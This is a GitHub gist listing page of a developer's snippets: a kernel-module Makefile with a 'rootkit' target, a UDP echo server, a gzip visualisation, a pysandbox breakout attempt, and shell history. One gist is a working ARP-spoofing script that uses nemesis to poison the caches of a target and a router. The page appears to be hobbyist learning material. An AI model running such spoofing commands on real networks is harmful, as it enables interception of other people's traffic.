Skip to content

Instantly share code, notes, and snippets.

@jvns
jvns / Makefile
Created October 8, 2013 03:24
A simple kernel module that printk's "Hello, packet" when it intercepts a packet. Uses netfilter.
obj-m += hello-packet.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
(ns echo-server
(:import (java.net InetAddress DatagramPacket DatagramSocket)))
(def udp-server (ref nil))
(def port 12345)
(defn localhost [] (. InetAddress getLocalHost))
(defn message [text]
@jvns
jvns / hamlet.html
Last active December 26, 2015 12:59
How gzip would compress Hamlet.
<html>
<head>
<style type="text/css">
span.red {color: red;}
body {font-family: monospace;}
</style>
</head>
<body>
The Tragedie of Hamlet<br>
<br>
@jvns
jvns / attack.sh
Created October 29, 2013 18:21
ARP attack
#export PHONE_MAC=78:d6:f0:62:b3:7f
export TARGET_MAC=7c:d1:c3:eb:65:bd
export TARGET_IP=10.0.1.8
export ROUTER_IP=10.0.0.1
export ROUTER_MAC=68:05:ca:16:41:5e
export ATTACK_MAC=33:97:03:55:b3:7f
sudo nemesis arp -v -r -d eth0 -S $ROUTER_IP -D $TARGET_IP -h $ATTACK_MAC -m $TARGET_MAC -H $ATTACK_MAC -M $TARGET_MAC
sudo nemesis arp -v -r -d eth0 -S $TARGET_IP -D $ROUTER_IP -h $ATTACK_MAC -m $ROUTER_MAC -H $ATTACK_MAC -M $ROUTER_MAC
@jvns
jvns / getmeout.py
Created November 6, 2013 22:30
pysandbox breakout attempt (it didn't work)
types_checked = set()
remaining_types = set([int, dict, set, buffer, file, type])
# Try to call all the methods on an object x
def call_all_methods(x):
failures = set(dir(x))
successes = set()
results = set()
for num_args in [0, 1, 2, 3]:
args = range(1, num_args+1)
@jvns
jvns / git-workflow-viz.ipynb
Last active December 28, 2015 06:59
IPython notebook to visualize my git workflow
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
7912 lsof
7913 netstat -a
7914 netstat -an
7915 netstat -an | more
7916 netstat -anu | less
7917 ifconfig -a
7918 nc -l 12345
7919 tmux -2
7920 nc -l 12345
7921 netstat -anu
@jvns
jvns / git-graph-colours.ipynb
Created November 14, 2013 14:06
Git graph, with colours!
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@jvns
jvns / Makefile
Last active May 12, 2020 15:19
The tiniest operating system
myfirst.bin: myfirst.asm
nasm -f bin -o myfirst.bin myfirst.asm
dd status=noxfer conv=notrunc if=myfirst.bin of=myfirst.flp
run: myfirst.bin
kvm -fda myfirst.flp